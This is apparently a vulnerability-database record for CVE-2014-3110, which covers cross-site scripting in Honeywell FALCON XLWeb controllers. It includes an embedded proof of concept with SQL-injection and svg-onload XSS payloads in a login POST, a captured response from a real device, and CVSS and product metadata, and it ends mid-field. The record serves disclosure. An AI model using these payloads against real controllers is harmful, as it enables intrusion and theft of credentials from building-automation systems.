VAR-201407-0468
Vulnerability from variot - Updated: 2023-12-18 12:30Multiple cross-site scripting (XSS) vulnerabilities on Honeywell FALCON XLWeb Linux controller devices 2.04.01 and earlier and FALCON XLWeb XLWebExe controller devices 2.02.11 and earlier allow remote attackers to inject arbitrary web script or HTML via invalid input. Honeywell is a manufacturing company focused on automation control. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. # Exploit Title: Honeywell XL Web Controller SQLi & XSS
Date: 2018-05-24
Exploit Author: t4rkd3vilz
Vendor Homepage: https://www.honeywell.com
Version: WebVersion : XL1000C50 EXCEL WEB 52 I/O, XL1000C100 EXCEL WEB
104 I/O, XL1000C500 EXCEL WEB 300 I/O, XL1000C1000 EXCEL WEB 600 I/O, XL1000C50U EXCEL WEB 52 I/O UUKL, XL1000C100U EXCEL WEB 104 I/O UUKL, XL1000C500U EXCEL WEB 300 I/O UUKL, and XL1000C1000U EXCEL WEB 600 I/O UUKL.
Tested on: Linux
CVE: CVE-2014-3110
--------------- ---> Proof Of Concept <--------------------------
POST /standard/mainframe.php HTTP/1.1 Cache-Control: no-cache Referer: http://TargetIP/standard/mainframe.php Accept: text/xml,application/xml,application/xhtml+xml,text/ html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36 Accept-Language: en-us,en;q=0.5 Cookie: Locale=1033 Accept-Encoding: gzip, deflate Content-Length: 222 Content-Type: application/x-www-form-urlencoded
SessionID=&LocaleID='or'1=1&LoginSessionID=&LoginUserNameMD5="/> &LoginPasswordMD5=&LoginCommand=&LoginPassword=& rememberMeCheck=&LoginDevice=192.168.1.12&LoginUserName=Guest
HTTP/1.1 200 OK Set-Cookie: rememberUser=deleted; expires=Wednesday, 24-May-17 08:54:02 GMT; path=/ Server: Apache/1.3.23 (Unix) PHP/4.4.9 X-Powered-By: PHP/4.4.9 Content-Type: text/html Transfer-Encoding: chunked Date: Thu, 24 May 2018 08:54:03 GMT
Warning: xw_get_users() expects parameter 1 to be long, string
given in /mnt/mtd6/xlweb/web/standard/login/loginpage.php on line
97
Warning: xml_load_texts_file() expects parameter 2 to be long,
string given in /mnt/mtd6/xlweb/web/standard/include/elements.php on
line 247
Notice: Undefined index: HeadTitle in /mnt/mtd6/xlweb/web/ standard/login/loginpage.php on line 300
 |
|
|
AUM0_MUSEO_LANA.XLWEB_MUSEO_LANA. Notice: Undefined index: Title in /mnt/mtd6/xlweb/web/ standard/login/loginpage.php on line 509 |
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201407-0468",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "falcon xlweb linux controller",
"scope": "lte",
"trust": 1.0,
"vendor": "honeywell",
"version": "2.04.01"
},
{
"model": "falcon xlweb xlwebexe",
"scope": "lte",
"trust": 1.0,
"vendor": "honeywell",
"version": "2.02.11"
},
{
"model": "falcon linux",
"scope": "lte",
"trust": 0.8,
"vendor": "honeywell",
"version": "2.04.01"
},
{
"model": "falcon xlwebexe",
"scope": "lte",
"trust": 0.8,
"vendor": "honeywell",
"version": "2.02.11"
},
{
"model": "falcon xlweb controllers",
"scope": "lte",
"trust": 0.6,
"vendor": "honeywell",
"version": "\u003c=2.02.11"
},
{
"model": "falcon xlweb linux controller",
"scope": "eq",
"trust": 0.6,
"vendor": "honeywell",
"version": "2.04.01"
},
{
"model": "falcon xlweb xlwebexe",
"scope": "eq",
"trust": 0.6,
"vendor": "honeywell",
"version": "2.02.11"
},
{
"model": "falcon xlwebexe",
"scope": "eq",
"trust": 0.3,
"vendor": "honeywell",
"version": "2.2.11"
},
{
"model": "falcon linux",
"scope": "eq",
"trust": 0.3,
"vendor": "honeywell",
"version": "2.4.1"
},
{
"model": null,
"scope": "eq",
"trust": 0.2,
"vendor": "falcon xlweb linux controller",
"version": "*"
},
{
"model": null,
"scope": "eq",
"trust": 0.2,
"vendor": "falcon xlweb xlwebexe",
"version": "*"
}
],
"sources": [
{
"db": "IVD",
"id": "e2f7d638-2351-11e6-abef-000c29c66e3d"
},
{
"db": "CNVD",
"id": "CNVD-2014-04588"
},
{
"db": "BID",
"id": "68838"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003564"
},
{
"db": "NVD",
"id": "CVE-2014-3110"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-600"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:honeywell:falcon_xlweb_linux_controller:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "2.04.01",
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:honeywell:falcon_xlweb_xlwebexe:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "2.02.11",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2014-3110"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Juan Francisco Bolivar",
"sources": [
{
"db": "BID",
"id": "68838"
}
],
"trust": 0.3
},
"cve": "CVE-2014-3110",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "MEDIUM",
"trust": 1.0,
"userInteractionRequired": true,
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Medium",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 4.3,
"confidentialityImpact": "None",
"exploitabilityScore": null,
"id": "CVE-2014-3110",
"impactScore": null,
"integrityImpact": "Partial",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Medium",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CNVD-2014-04588",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "IVD",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "e2f7d638-2351-11e6-abef-000c29c66e3d",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.2,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.9 [IVD]"
}
],
"cvssV3": [],
"severity": [
{
"author": "NVD",
"id": "CVE-2014-3110",
"trust": 1.8,
"value": "MEDIUM"
},
{
"author": "CNVD",
"id": "CNVD-2014-04588",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201407-600",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "IVD",
"id": "e2f7d638-2351-11e6-abef-000c29c66e3d",
"trust": 0.2,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "IVD",
"id": "e2f7d638-2351-11e6-abef-000c29c66e3d"
},
{
"db": "CNVD",
"id": "CNVD-2014-04588"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003564"
},
{
"db": "NVD",
"id": "CVE-2014-3110"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-600"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Multiple cross-site scripting (XSS) vulnerabilities on Honeywell FALCON XLWeb Linux controller devices 2.04.01 and earlier and FALCON XLWeb XLWebExe controller devices 2.02.11 and earlier allow remote attackers to inject arbitrary web script or HTML via invalid input. Honeywell is a manufacturing company focused on automation control. \nAn attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. # Exploit Title: Honeywell XL Web Controller SQLi \u0026 XSS\n# Date: 2018-05-24\n# Exploit Author: t4rkd3vilz\n# Vendor Homepage: https://www.honeywell.com\n# Version: WebVersion : XL1000C50 EXCEL WEB 52 I/O, XL1000C100 EXCEL WEB\n104 I/O, XL1000C500 EXCEL WEB 300 I/O, XL1000C1000 EXCEL WEB 600 I/O,\nXL1000C50U EXCEL WEB 52 I/O UUKL, XL1000C100U EXCEL WEB 104 I/O UUKL,\nXL1000C500U EXCEL WEB 300 I/O UUKL, and XL1000C1000U EXCEL WEB 600 I/O UUKL. \n# Tested on: Linux\n# CVE: CVE-2014-3110\n\n--------------- ---\u003e Proof Of Concept \u003c--------------------------\n\nPOST /standard/mainframe.php HTTP/1.1\nCache-Control: no-cache\nReferer: http://TargetIP/standard/mainframe.php\nAccept: text/xml,application/xml,application/xhtml+xml,text/\nhtml;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,\nlike Gecko) Chrome/41.0.2272.16 Safari/537.36\nAccept-Language: en-us,en;q=0.5\nCookie: Locale=1033\nAccept-Encoding: gzip, deflate\nContent-Length: 222\nContent-Type: application/x-www-form-urlencoded\n\nSessionID=\u0026LocaleID=\u0027or\u00271=1\u0026LoginSessionID=\u0026LoginUserNameMD5=\"/\u003e\u003csvg/\nonload=prompt(/XSS/)\u003e\n\u0026LoginPasswordMD5=\u0026LoginCommand=\u0026LoginPassword=\u0026\nrememberMeCheck=\u0026LoginDevice=192.168.1.12\u0026LoginUserName=Guest\n\nHTTP/1.1 200 OK\nSet-Cookie: rememberUser=deleted; expires=Wednesday, 24-May-17 08:54:02\nGMT; path=/\nServer: Apache/1.3.23 (Unix) PHP/4.4.9\nX-Powered-By: PHP/4.4.9\nContent-Type: text/html\nTransfer-Encoding: chunked\nDate: Thu, 24 May 2018 08:54:03 GMT\n\n\u003cbr /\u003e\n\u003cb\u003eWarning\u003c/b\u003e: xw_get_users() expects parameter 1 to be long, string\ngiven in \u003cb\u003e/mnt/mtd6/xlweb/web/standard/login/loginpage.php\u003c/b\u003e on line\n\u003cb\u003e97\u003c/b\u003e\u003cbr /\u003e\n\u003cbr /\u003e\n\u003cb\u003eWarning\u003c/b\u003e: xml_load_texts_file() expects parameter 2 to be long,\nstring given in \u003cb\u003e/mnt/mtd6/xlweb/web/standard/include/elements.php\u003c/b\u003e on\nline \u003cb\u003e247\u003c/b\u003e\u003cbr /\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003cmeta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\"/\u003e\n \u003cmeta http-equiv=\"expires\" content=\"0\"/\u003e\n \u003clink rel=\"stylesheet\" href=\"include/honeywell.css\"/\u003e\n \u003ctitle\u003e\u003cbr /\u003e\n\u003cb\u003eNotice\u003c/b\u003e: Undefined index: HeadTitle in \u003cb\u003e/mnt/mtd6/xlweb/web/\nstandard/login/loginpage.php\u003c/b\u003e on line \u003cb\u003e300\u003c/b\u003e\u003cbr /\u003e\n\u003c/title\u003e\n \u003cscript language=\"JavaScript\"\u003e\n \u003c!--\n\n var NS4 = document.layers;\n\n // if the selected element has alarms, the element within the\n // drop Down-list should be styled red. \n // This is done for firefox which does not accept even the\n // usage of inline styles. \n function setOptionColor() {\nif(document.getElementById(\"LoginSelect\") != null) {\nvar selectionBox = document.getElementById(\"LoginSelect\");\nvar selectedElement = selectionBox.selectedIndex;\nvar selectedOption = selectionBox.options[selectedElement];\nif(selectedOption.getAttribute(\"class\") != null) {\nvar className = selectedOption.getAttribute(\"class\");\nif(className == \"red\") {\nselectionBox.style.color = \"#FF0000\";\n}\n}\n}\n\n }\n\n function onSessionChange (sSessionID, sLocaleID)\n {\n document.forms.main.elements[\"SessionID\"].value = sSessionID;\n document.forms.main.elements[\"LocaleID\"].value = sLocaleID;\n submitCommand (\"ChangeSession\");\n }\n\n function onDeviceListChange ()\n {\n submitCommand (\"UpdateDeviceList\");\n }\n\n function onSessionCreated (sResult, sSessionID)\n {\n if (sResult != \"4194561\")\n {\n if (sResult == \"196626\")\n {\n alert (\"\u003cbr /\u003e\n*\u003cb\u003eNotice\u003c/b\u003e: Undefined index: CreateSessionFailed in\n\u003cb\u003e/mnt/mtd6/xlweb/web/standard/login/loginpage.php\u003c/b\u003e on line\n\u003cb\u003e346\u003c/b\u003e\u003cbr /\u003e*\n*\\n\" +*\n \"\\n\" +\n \"\u003cbr /\u003e\n*\u003cb\u003eNotice\u003c/b\u003e: Undefined index: TooManyUsers in\n\u003cb\u003e/mnt/mtd6/xlweb/web/standard/login/loginpage.php\u003c/b\u003e on line\n\u003cb\u003e348\u003c/b\u003e\u003cbr /\u003e*\n*\");*\n }\n else\n {\n alert (\"\u003cbr /\u003e\n*\u003cb\u003eNotice\u003c/b\u003e: Undefined index: CreateSessionFailed in\n\u003cb\u003e/mnt/mtd6/xlweb/web/standard/login/loginpage.php\u003c/b\u003e on line\n\u003cb\u003e352\u003c/b\u003e\u003cbr /\u003e*\n*\\n\" +*\n \"\\n\" +\n \"\u003cbr /\u003e\n*\u003cb\u003eNotice\u003c/b\u003e: Undefined index: OperationalProblem in\n\u003cb\u003e/mnt/mtd6/xlweb/web/standard/login/loginpage.php\u003c/b\u003e on line\n\u003cb\u003e354\u003c/b\u003e\u003cbr /\u003e*\n*\");*\n }\n return;\n }\n var sUserName = document.forms.main.elements[\"LoginUserName\"].value;\n var sPassword = calcMD5 (document.forms.main.elements[\n\"LoginPassword\"].value);\n sPassword = calcMD5 (sSessionID + sUserName + sPassword);\n sUserName = calcMD5 (sUserName);\n document.forms.main.elements[\"LoginSessionID\"].value = sSessionID;\n document.forms.main.elements[\"LoginUserNameMD5\"].value = sUserName;\n document.forms.main.elements[\"LoginPasswordMD5\"].value = sPassword;\n submitCommand (\"Login\");\n }\n\n function showHelp (sHelpID)\n {\n var lWidth = 360;\n var lHeight = 320;\n var lLeft = (screen.width - lWidth) / 2;\n var lTop = (screen.height - lHeight) / 2;\n openDependent (*\"login/help.php?Locale=\"/\u003e\u003csvg/onload=prompt(/XSS/)\u003e*\n\u0026ID=\" + sHelpID,\n \"Help\",\n \"width=\" + lWidth + \",height=\" + lHeight + \",left=\" +\nlLeft + \",top=\" + lTop + \",scrollbars=yes,resizable=yes\");\n }\n\n function submitCommand (sCommand)\n {\n //document.forms.main.elements[\"LoginPassword\"].value = \"\";\n document.forms.main.elements[\"LoginCommand\"].value = sCommand;\n document.forms.main.submit ();\n }\n\n function checkEnter (event)\n {\n var lkeyCode = 0;\n if (NS4)\n {\n lkeyCode = event.which;\n }\n else\n {\n lkeyCode = event.keyCode;\n }\nif (lkeyCode == 13)\n {\n createSession ();\n\n }\n\n }\n\n function changeDevice ()\n {\n var oOptions = document.forms.main.elements[\"\nLoginDevice\"].options;\n for (var lIndex = 0; lIndex \u003c oOptions.length; lIndex++)\n {\n if (oOptions[lIndex].selected)\n {\n var sURL = \"http://\" + oOptions[lIndex].value;\n sURL += \":80\";\n sURL += \"/standard/\";\n sURL += \"default.php?Locale=\"/\u003e\u003csvg/onload=prompt(/XSS/)\u003e\n\";\n parent.parent.window.location.replace (sURL);\n return;\n }\n }\n }\n\n function createSession ()\n {\n if (top.frames.updateframe \u0026\u0026\n top.frames.updateframe.createSession)\n {\ntop.frames.updateframe.createSession ();\n\n }\n else\n {\n var lLeft = screen.width;\n var lTop = screen.height;\n var oWindow = open (\"login/session.php\",\n \"Session\",\n \"width=0,height=0,left=\" + lLeft + \",top=\" +\nlTop + \",dependent=yes,locationbar=no,menubar=no,status=no,scrollbars=no\");\n }\n }\n\n function onLoad ()\n {\n if (top.frames.updateframe)\n {\n top.frames.updateframe.location.replace (\"login/update.php\");\n }\n document.main.LoginUserName.focus ();\n }\n //--\u003e\n \u003c/script\u003e\n \u003cscript type=\"text/javascript\" src=\"scripts/md5.js\"\u003e\u003c/script\u003e\n \u003c/head\u003e\n\n \u003cbody onload=\"setOptionColor()\" class=\"colored\" onLoad=\"onLoad ();\"\nstyle=\"background-image: url(images/bg_headline_dialog.gif);\nbackground-repeat:repeat-x;\"\u003e\n \u003cform name=\"main\" method=\"post\" action=\"/standard/mainframe.php\"\u003e\n \u003cinput type=\"hidden\" name=\"SessionID\"/\u003e\n\u003cinput type=\"hidden\" name=\"LocaleID\" value=\"\u0027\u0026quot;--\u0026gt;\u0026lt;/\nstyle\u0026gt;\u0026lt;/scRipt\u0026gt;\u0026lt;scRipt\u0026gt;netsparker(0x0001AA)\u0026lt;/scRipt\u0026gt;\"/\u003e\n \u003cinput type=\"hidden\" name=\"rememberMeCheck\" value=\"\"/\u003e\n \u003cinput type=\"hidden\" name=\"LoginSessionID\"/\u003e\n \u003cinput type=\"hidden\" name=\"LoginUserNameMD5\"/\u003e\n \u003cinput type=\"hidden\" name=\"LoginPasswordMD5\"/\u003e\n \u003cinput type=\"hidden\" name=\"LoginCommand\"/\u003e\n\n \u003c!-- *******************************************************************\n--\u003e\n \u003c!-- * Controller Name\n * --\u003e\n \u003c!-- *******************************************************************\n--\u003e\n \u003ctable width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"\u003e\n \u003ctr\u003e\u003ctd bgcolor=\"#7F7F7F\"\u003e\u003cimg alt=\"\"\nsrc=\"images/blank.gif\" width=\"1\" height=\"1\"/\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd bgcolor=\"#000000\"\u003e\u003cimg alt=\"\" src=\"images/blank.gif\"\nwidth=\"1\" height=\"1\"/\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd class=\"headline\" height=\"16\" nowrap=\"\"\u003e\n \u0026nbsp;AUM0_MUSEO_LANA.XLWEB_MUSEO_LANA.\u003cbr /\u003e\n\u003cb\u003eNotice\u003c/b\u003e: Undefined index: Title in \u003cb\u003e/mnt/mtd6/xlweb/web/\nstandard/login/loginpage.php\u003c/b\u003e on line \u003cb\u003e509\u003c/b\u003e\u003cbr /\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003c/table\u003e\n\n \u003ctable width=\"100%\" height=\"75%\" border=\"0\" cellpadding=\"0\"\ncellspacing=\"0\"\u003e\n \u003ctr\u003e\n \u003ctd width=\"50%\"\u003e\u0026nbsp;\u003c/td\u003e\n \u003ctd\u003e\n \u003ctable border=\"0\" cellspacing=\"7\" cellpadding=\"0\"\u003e\n \u003c!-- ******************************\n************************************* --\u003e\n \u003c!-- * Custom image\n * --\u003e\n \u003c!-- ******************************\n************************************* --\u003e\n \u003ctr\u003e\n \u003ctd\u003e\n \u003ctable width=\"100%\" border=\"0\" cellpadding=\"0\"\ncellspacing=\"0\"\u003e\n \u003ctr\u003e\n \u003ctd align=\"center\"\u003e\n \u003cimg alt=\"\" src=\"login/loginlogo.gif\"\n /\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003e\u003cimg alt=\"\" src=\"images/blank.gif\" width=\"1\"\nheight=\"7\"/\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003c/table\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n\n \u003c!-- ******************************\n************************************* --\u003e\n \u003c!-- * Login group\n * --\u003e\n \u003c!-- ******************************\n************************************* --\u003e\n \u003ctr\u003e\n \u003ctd\u003e\n \u003cbr /\u003e\n\u003cb\u003eNotice\u003c/b\u003e: Undefined index: Login in \u003cb\u003e/mnt/mtd6/xlweb/web/\nstandard/login/loginpage.php\u003c/b\u003e on line \u003cb\u003e596\u003c/b\u003e\u003cbr /\u003e\n\u003cbr /\u003e\n\u003cb\u003eNotice\u003c/b\u003e: Undefined index: AltTitle in \u003cb\u003e/mnt/mtd6/xlweb/web/\nstandard/login/loginpage.php\u003c/b\u003e on line \u003cb\u003e597\u003c/b\u003e\u003cbr /\u003e\n \u003ctable width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"\nbgcolor=\"#B8D7F0\"\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cimg alt=\"\" src=\"images/group_left_top.gif\" width=\"5\"\nheight=\"5\"/\u003e\u003c/td\u003e\n \u003ctd\u003e\u003cimg alt=\"\" src=\"images/blank.gif\" width=\"1\" height=\"5\"/\u003e\u003c/td\u003e\n \u003ctd align=\"right\"\u003e\u003cimg alt=\"\" src=\"images/group_right_top.gif\"\nwidth=\"5\" height=\"5\"/\u003e\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cimg alt=\"\" src=\"images/blank.gif\" width=\"5\" height=\"1\"/\u003e\u003c/td\u003e\n \u003ctd width=\"100%\" valign=\"top\"\u003e\n \u003ctable width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"\u003e\n \u003ctr\u003e\n \u003ctd colspan=\"2\" class=\"groupheader\" nowrap=\"\"\u003e\n \u003cb\u003e\u003c/b\u003e\n \u003c/td\u003e\n \u003ctd align=\"right\"\u003e\n \u0026nbsp;\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u0026nbsp;\u003c/td\u003e\n \u003ctd width=\"100%\"\u003e\n \u003ctable border=\"0\" cellpadding=\"1\" cellspacing=\"1\"\u003e\n \u003ctr\u003e\n \u003ctd nowrap=\"\"\u003e\u003cbr /\u003e\n\u003cb\u003eNotice\u003c/b\u003e: Undefined index: Controller in \u003cb\u003e/mnt/mtd6/xlweb/web/\nstandard/login/loginpage.php\u003c/b\u003e on line \u003cb\u003e605\u003c/b\u003e\u003cbr /\u003e\n:\u0026nbsp;\u003c/td\u003e\n \u003ctd\u003e\n\n \u003cselect id=\"LoginSelect\" class=\"loginSelect\"\nname=\"LoginDevice\" onchange=\"changeDevice ();\" style=\"width:150px;\"\u003e\n \u003coption\nselected=\"\" value=\"192.168.1.12\"\n class=\"red\" style=\"color:#FF0000;\nbackground-color:#D8E8F8\"\u003e\n XLWEB_MUSEO_LANA\n \u003c/option\u003e\n \u003c/select\u003e\n \u003c/td\u003e\n \u003ctd\u003e\u0026nbsp;\u003c/td\u003e\n \u003ctd align=\"right\"\u003e\n \u003cimg alt=\"\" name=\"LoginAlarm\"\nsrc=\"footer/alarm_red_tr.gif\"\u003e \u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd nowrap=\"\"\u003e\u003cbr /\u003e\n\u003cb\u003eNotice\u003c/b\u003e: Undefined index: UserName in \u003cb\u003e/mnt/mtd6/xlweb/web/\nstandard/login/loginpage.php\u003c/b\u003e on line \u003cb\u003e632\u003c/b\u003e\u003cbr /\u003e\n:\u0026nbsp;\u003c/td\u003e\n \u003ctd\u003e\n \u003cselect name=\"LoginUserName\" style=\"width:150px;\"\u003e\n \u003cbr /\u003e\n\u003cb\u003eWarning\u003c/b\u003e: Invalid argument supplied for foreach() in\n\u003cb\u003e/mnt/mtd6/xlweb/web/standard/login/loginpage.php\u003c/b\u003e on line\n\u003cb\u003e650\u003c/b\u003e\u003cbr /\u003e\n \u003c/select\u003e\n\n \u003c/td\u003e\n\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd nowrap=\"\"\u003e\u003cbr /\u003e\n\u003cb\u003eNotice\u003c/b\u003e: Undefined index: Password in \u003cb\u003e/mnt/mtd6/xlweb/web/\nstandard/login/loginpage.php\u003c/b\u003e on line \u003cb\u003e689\u003c/b\u003e\u003cbr /\u003e\n:\u0026nbsp;\u003c/td\u003e\n \u003ctd\u003e\n\u003c!--\u003cinput type=\"password\" class=\"text\" name=\"LoginPassword\"\nstyle=\"width:150px;\" onKeyPress=\"checkEnter (event)\"/\u003e--\u003e\n \u003cinput name=\"LoginPassword\" type=\"password\" onKeyDown=\"checkEnter (event)\"\nsize=\"25\" class=\"ppinput\" value=\"\"/\u003e\n\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n\u003ctd\u003e\u003cbr /\u003e\n\u003cb\u003eNotice\u003c/b\u003e: Undefined index: RememberMeCheckbox in\n\u003cb\u003e/mnt/mtd6/xlweb/web/standard/login/loginpage.php\u003c/b\u003e on line\n\u003cb\u003e720\u003c/b\u003e\u003cbr /\u003e\n\u003c/td\u003e\n\u003ctd\u003e\u003cinput id=\"rememberMeCheck\" name=\"rememberMeCheck\" type=\"checkbox\"\n/\u003e\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cimg alt=\"\" src=\"images/blank.gif\" width=\"90\"\nheight=\"2\"/\u003e\u003c/td\u003e\n \u003ctd\u003e\u003cimg alt=\"\" src=\"images/blank.gif\" width=\"1\"\nheight=\"2\"/\u003e\u003c/td\u003e\n \u003c/tr\u003e\n \u003c/table\u003e\n \u003c/td\u003e\n \u003ctd\u003e\u0026nbsp;\u003c/td\u003e\n \u003c/tr\u003e\n \u003c/table\u003e\n \u003c/td\u003e\n \u003ctd\u003e\u003cimg alt=\"\" src=\"images/blank.gif\" width=\"5\" height=\"1\"/\u003e\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cimg alt=\"\" src=\"images/group_left_bottom.gif\" width=\"5\"\nheight=\"5\"/\u003e\u003c/td\u003e\n \u003ctd\u003e\u003cimg alt=\"\" src=\"images/blank.gif\" width=\"1\" height=\"5\"/\u003e\u003c/td\u003e\n \u003ctd align=\"right\"\u003e\u003cimg alt=\"\" src=\"images/group_right_bottom.gif\"\nwidth=\"5\" height=\"5\"/\u003e\u003c/td\u003e\n \u003c/tr\u003e\n \u003c/table\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n\n \u003c!-- ******************************\n************************************* --\u003e\n \u003c!-- * Button\n * --\u003e\n \u003c!-- ******************************\n************************************* --\u003e\n \u003ctr\u003e\n \u003ctd\u003e\n \u003ctable border=\"0\" cellspacing=\"7\" cellpadding=\"0\"\u003e\n \u003ctr\u003e\n \u003ctd\u003e\n \u003cbr /\u003e\n\u003cb\u003eNotice\u003c/b\u003e: Undefined index: LoginButton in 